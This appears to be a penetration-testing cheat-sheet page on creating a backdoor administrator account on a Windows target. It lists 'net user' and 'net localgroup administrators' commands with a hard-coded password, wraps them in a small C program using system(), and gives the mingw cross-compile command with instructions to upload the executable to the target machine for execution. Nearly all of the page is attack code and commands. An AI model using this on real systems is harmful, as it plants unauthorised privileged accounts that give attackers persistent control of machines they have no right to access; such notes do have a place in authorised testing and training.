User Creation
Linux
Windows
Command-line: Requires administrator permissions
net user test password123! /add
net localgroup administrators test /add
Generate script to create a user and assign said user to the administrator group on target machine
mousepad adduser.c
#include <stdlib.h>
int main () {
int i;
i = system ("net user test password123! /add");
i = system ("net localgroup administrators test /add");
return 0;
}
Compile the code into an executable and upload it onto target machine for execution
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Last updated